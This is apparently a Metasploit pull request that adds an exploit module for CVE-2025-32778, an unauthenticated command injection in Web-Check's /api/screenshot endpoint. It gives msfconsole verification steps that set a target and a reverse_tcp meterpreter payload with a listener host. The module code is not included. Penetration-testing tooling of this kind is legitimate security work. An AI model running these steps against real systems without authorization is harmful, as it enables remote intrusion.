Add Web-Check screenshot API command injection RCE exploit (CVE-2025-32778)

[Chocapikk]

Hello Metasploit Team,

This PR adds an exploit module for CVE-2025-32778, a command injection vulnerability in Web-Check's screenshot API endpoint. The vulnerability allows unauthenticated remote code execution by injecting shell commands via URL query parameters in the /api/screenshot endpoint.

Verification

List the steps needed to make sure this thing works

• Start msfconsole
• use exploit/multi/http/web_check_screenshot_rce
• set RHOSTS <target_ip>
• set RPORT 3000
• set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp
• set LHOST <listener_ip>
• run
• Verify the module detects the vulnerability via timing-based check
• Verify a meterpreter session is established
• Verify commands can be executed in the session